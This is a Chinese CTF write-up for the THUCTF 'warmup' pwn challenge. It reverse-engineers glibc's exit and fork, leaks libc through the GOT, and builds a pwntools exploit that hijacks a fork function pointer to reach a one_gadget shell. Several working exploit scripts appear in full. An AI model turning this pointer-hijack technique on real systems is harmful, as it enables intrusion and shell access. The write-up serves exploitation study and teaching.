题目地址:nc warmup.game.redbud.info 20002
题目提示:fork, fork, fork
题目文件:https://xuanxuanblingbling.github.io/assets/pwn/warmup
检查保护
首先是检查文件和检查保护,可见是没去符号的64位的ELF文件,GOT表不可写,栈不可执行:
➜ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=f3148cd6d2c5c9fabf36ec3a7f251f9e02bd7abb, not stripped
➜ checksec warmup
[*] '/Users/Desktop/warmup'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
任意地址读写
ida64打开,f5看main函数结果中有错误提示,并且init函数参数有红色提示,点进init函数再回到main函数中错误消失,main函数逻辑如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
memset(&s, 0, 8uLL);
write(1, "What do you want to know:\n", 0x1AuLL);
read(0, &s, 8uLL); // 输入8个字节到栈上的变量s
write(1, "and here it is: ", 0x10uLL);
write(1, s, 8uLL); // 获得以输入8个字节(s变量)为地址处的8个字节
write(1, "\n", 1uLL);
write(1, "What do you wanna say to Zhou Qi?\n", 0x22uLL);
read(0, &ptr, 0x40uLL); // 输入0x40个字节到bss段上
memset(&s, 0, 8uLL); // 栈上的s变量清空
write(1, "Now you can change the world!\n", 0x1EuLL);
read(0, &s, 8uLL); // 输入8个字节到栈上的变量s
read(0, (void *)s, 8uLL); // 向以输入8个字节(s变量)为地址处的内存写入8个字节
if ( fork() )
{
write(1, "Is there a race?\n", 0x11uLL);
exit(0);
}
write(1, "ziiiro will give you one chance:)\n", 0x21uLL);
read(0, &s, 0x50uLL);
exit(0);
}
所以我们当前的能力就是:
- 一次任意地址读8个字节
- 一次任意地址写8个字节
故这道题并不是说考察发现漏洞的能力,而是有了以上两种能力后如何利用?如何劫持程序流?当然并不是劫持完程序流就万事大吉啦,如果不能劫持到自己的shellcode,那就还要去调用函数还要布置栈或者控制寄存器。不过单说劫持程序流这事,超哥课上讲的,一般可以动手的地方有如下三处:
- 间接跳转(jmp和call的间接跳转,如函数指针的调用,GOT表等)
- 栈上的返回地址
- 异常处理函数
其实我觉得,异常处理函数也应该算作间接跳转,因为也应该是call一个函数指针,所以当我们动不了栈时,就应该找接下来的地方有哪些可以控制的间接跳转的地址。我做pwn题还少,就仅仅知道写GOT表和.fini_array,这道题GOT表不可写,main函数也没有return,所以.fini_array段的函数也不会执行,哪还有那些间接跳转可利用呢?
说说libc的那些函数
以下的wp都提到了exit函数,那我们就以exit函数为例:
- 从TokyoWesterns 2019一道题谈谈在exit中的利用机会
- TokyoWesterns CTF 2019 格式化漏洞利用的新姿势
- 详解 De1ctf 2019 pwn——unprintable
以上大概说的是,libc的exit函数的某种利用方式,也就是说,在libc的某些函数里,存在着一些函数指针的调用,如果我们能修改这些函数指针,那么当调用这些libc的函数时,程序也可以被劫持。那么这些libc的函数里会不会有函数指针的调用呢?如果有这些函数指针放在哪呢?可以修改么?这个问题可以通过阅读分析libc的源码得知:
如何分析libc的源码呢,网友都是一带而过,分析出exit里存在函数指针:
RUN_HOOK (__libc_atexit, ());
我整个libc的源码里都没搜到__libc_atexit这个函数指针在哪定义的,也看不出这个函数指针放在哪,是否能修改。RUN_HOOK这个方法本身也是个复杂的宏定义,所以我觉得在源码层面,编码者有很多编码技巧,而这些技巧会阻碍我们理解程序真正的运行方法,所以我目前的思路是直接用IDA F5后的结果看这些libc函数,我觉得看着比源码清楚,因为如果是函数指针,IDA就会注释出来相应的函数原型,而且也直接能看到变量后会跟括号进行调用。比如__libc_atexit这个函数指针,在IDA中打开libc.so,这里我用的是一个64位的libc-2.23.so,找到exit函数,进入可以看到这函数:
void __fastcall __noreturn sub_39F10(int status, unsigned __int64 a2, char a3)
{
char v3; // r12
_QWORD **v4; // rbp
_QWORD *v5; // r13
__int64 v6; // rax
signed __int64 v7; // rdx
signed __int64 *v8; // rcx
bool v9; // zf
void (**v10)(void); // rbp
signed __int64 v11; // rax
v3 = a3;
v4 = (_QWORD **)a2;
_call_tls_dtors();
while ( 1 )
{
v5 = *v4;
if ( !*v4 )
{
LABEL_9:
if ( v3 )
{
v10 = (void (**)(void))off_3C08D8;
if ( off_3C08D8 < off_3C08E0 )
{
do
{
(*v10)();
可以看到ida对v10的注释就是一个函数指针,而且可以发现这个while循环里调用了v10这个函数指针指向的函数,这个循环就是RUN_HOOK这个宏定义。v8本身是一个固定的地址即0x3C08D8,在IDA中点进去这个地址即可看到如下:
__libc_atexit:00000000003C08D8 ; Segment type: Pure data
__libc_atexit:00000000003C08D8 ; Segment permissions: Read/Write
__libc_atexit:00000000003C08D8 ; Segment alignment 'qword' can not be represented in assembly
__libc_atexit:00000000003C08D8 __libc_atexit segment para public 'DATA' use64
__libc_atexit:00000000003C08D8 assume cs:__libc_atexit
__libc_atexit:00000000003C08D8 ;org 3C08D8h
__libc_atexit:00000000003C08D8 off_3C08D8 dq offset fcloseall_0 ; DATA XREF: sub_39F10+75↑o
__libc_atexit:00000000003C08D8 ; __libc_freeres+15↑o
__libc_atexit:00000000003C08D8 __libc_atexit ends
这函数指针在libc中是固定的一个段,也就是位置是固定的,而且看起来可以写。所以我们通过用IDA分析libc中exit函数,看似已经知道了:
- 有函数指针
- 函数指针位置固定,在libc偏移0x3C08D8
- 这个位置可写
但是我在我的ubuntu16.04上实际测试这段,并不可写。而在从TokyoWesterns 2019一道题谈谈在exit中的利用机会这篇文章中,说的就是这个段,是可写的,这是为什么呢?有人解释是需要ubuntu19的环境,而且可以看出,题目的地址和我们分析的地址偏移并不一样。
不过segment和section的对应权限关系我现在也还是没太明白。之后补充。
fork函数
本题的提示是fork,那fork函数中有没有可以用的函数指针呢?我们一样采取利用IDA分析:
signed __int64 fork()
{
unsigned int v0; // er14
__int64 v1; // r12
signed __int32 v2; // eax
unsigned __int64 i; // r13
void (*v4)(void); // rax
_QWORD *v5; // rax
_QWORD *v6; // rbx
unsigned int v7; // er12
unsigned int v8; // er8
signed __int64 v9; // rdx
signed __int64 v10; // rsi
__int64 v16; // rdi
void (__fastcall *v17)(__int64, signed __int64, signed __int64); // rax
char v21; // [rsp+1h] [rbp-41h]
int v22; // [rsp+12h] [rbp-30h]
v0 = __readfsdword(0x18u);
do
{
v1 = qword_3C9748;
if ( !qword_3C9748 )
{
v6 = 0LL;
goto LABEL_12;
}
_InterlockedOr(&v22, 0);
v2 = *(_DWORD *)(v1 + 40);
}
while ( !v2 || v2 != _InterlockedCompareExchange((volatile signed __int32 *)(qword_3C9748 + 40), v2 + 1, v2) );
for ( i = 0LL; ; i = (unsigned __int64)&v21 & 0xFFFFFFFFFFFFFFF0LL )
{
v4 = *(void (**)(void))(v1 + 8);
if ( v4 )
v4();
其实通过IDA给出的局部变量的注释就能看出,这里有v4,v17两个个函数指针,首先看v4,去掉注释后:
void (*v4)(void); // rax
v4 = *(v1 + 8);
即v4是v1+8这个指针指向的内存处的8个字节(rax),这8个字节指向的函数地址,即可被调用,我们看一下v1
v1 = qword_3C9748;
v1是0x3C9748内存处的值,这里和刚才exit的v10进行区分:
v10 = (void (**)(void))off_3C08D8
v1的IDA标注是dword,是内存。v10的标注是off,是地址偏移。故v4是qword_3C9748这个指针指向的地址处的值加8的内存的值,调用v4的时候是v4()
,那我们就去看一下位于0x3C9748内存:
.bss:00000000003C9748 qword_3C9748 dq ? ; DATA XREF: fork:loc_CC360↑r
.bss:00000000003C9748 ; fork+3A↑r ...
.bss:00000000003C9750 public __rcmd_errstr
.bss:00000000003C9750 __rcmd_errstr db ? ; ; DATA XREF: LOAD:0000000000004F50↑o
.bss:00000000003C9750 ; .got:__rcmd_errstr_ptr↑o
.bss:00000000003C9751 db ? ;
.bss:00000000003C9752 db ? ;
.bss:00000000003C9753 db ? ;
.bss:00000000003C9754 db ? ;
.bss:00000000003C9755 db ? ;
.bss:00000000003C9756 db ? ;
.bss:00000000003C9757 db ? ;
所以,就是让0x3C9748这个地址处的的8个字节是指向一个可以控制内存处的指针,这个内存的偏移8个字节的值为要控制的函数地址,即:
*(*(0x3C9748)+8)=&shellcode()
但是注意,fork函数再调用v4这个函数指针之前还有一个while循环也跟qword_3C9748这个指针指向的内存有关,这里还要想办法控制跳出那个循环。
利用
所以利用方式大概清楚了,理由一次任意地址读8个字节,泄露got表内容,从而获得libc基址。然后利用一次任意地址写8个字节,修改fork函数中的那个指针。这道题存在一个对周琦说的话,可以控制bss段的0x40个字节的内容,所以把fork函数的指针指向这即可。
泄露libc基址
如何泄露libc的基址呢,可以通过泄露一个GOT表中的函数地址,然后根据这个函数地址后三位,即可确定libc的版本和这个函数在libc中的偏移,因为libc的地址在加载过程中随机化的时候是是按照4K对齐的,所以最后12个bit是不变的,而且不同版本的同一个函数的偏移可能是不同的,所以可以根据这个特性来判断libc是什么版本。一旦确定了libc的版本,也就确定了libc的基址。这里泄露write函数:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")
io = remote("warmup.game.redbud.info",20002)
got_write = myelf.got['write']
io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")
leak_write = u64(io.recv(8))
print hex(leak_write)
结果是:0x7f3ef43202b0,最后三位是2b0,拿到了这个结果,然后怎么知道是那个libc呢?
这里采用search-libc的那个docker:
docker pull blukat29/libc
docker run -p 8080:80 -d blukat29/libc
大概这么用
然后就能获得libc的版本libc6_2.23-0ubuntu10_amd64,以及write函数的偏移:0x0f72b0,然后可以去网上找到对应的libc然后下载:
下载完以后可以看看有没有可以用的one_gadget:
➜ one_gadget libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
所以泄露除了libc的基址,也就有有了可用的one_gadget的地址,也就知道了0x3C9748的真正位置,所以现在只要控制好周琦的那段bss段即可。
修改函数指针
然我们尝试一下是否能劫持程序流:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")
#io = remote("warmup.game.redbud.info",20002)
io = process(myelf.path)
gdb.attach(io,"b * 0x400865")
got_write = myelf.got['write']
ptr = myelf.symbols['ptr']
io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")
leak_write = u64(io.recv(8))
libc_base = leak_write - 0x0f72b0
v1 = libc_base + 0x3C9748
io.recv()
io.send("\x00"*8+p64(0xdeadbeef))
io.recv()
io.send(p64(v1))
io.send(p64(ptr))
io.interactive()
调试发现进入fork之后就会一直循环,猜测跟这句有关:
_InterlockedCompareExchange((volatile signed __int32 *)(qword_3C9748 + 40), v2 + 1, v2) );
随便在payload后面加了40个字节:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")
#io = remote("warmup.game.redbud.info",20002)
io = process(myelf.path)
gdb.attach(io,"b * 0x400865")
got_write = myelf.got['write']
ptr = myelf.symbols['ptr']
io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")
leak_write = u64(io.recv(8))
libc_base = leak_write - 0x0f72b0
v1 = libc_base + 0x3C9748
io.recv()
io.send("\x00"*8+p64(0xdeadbeef)+'a'*40)
io.recv()
io.send(p64(v1))
io.send(p64(ptr))
io.interactive()
然后进入调试,按两次c,即可发现rip断到deadbeef上,成功劫持程序流
完整exp
替换deadbeef为一个可用的one_gadget:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")
io = remote("warmup.game.redbud.info",20002)
#io = process(myelf.path)
#gdb.attach(io,"b * 0x400865")
got_write = myelf.got['write']
ptr = myelf.symbols['ptr']
io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")
leak_write = u64(io.recv(8))
libc_base = leak_write - 0x0f72b0
v1 = libc_base + 0x3C9748
one_gadget = libc_base + 0x4526a
io.recv()
io.send("\x00"*8+p64(one_gadget)+'a'*40)
io.recv()
io.send(p64(v1))
io.send(p64(ptr))
io.interactive()
flag: THUCTF{F0rk_1s_e2sy}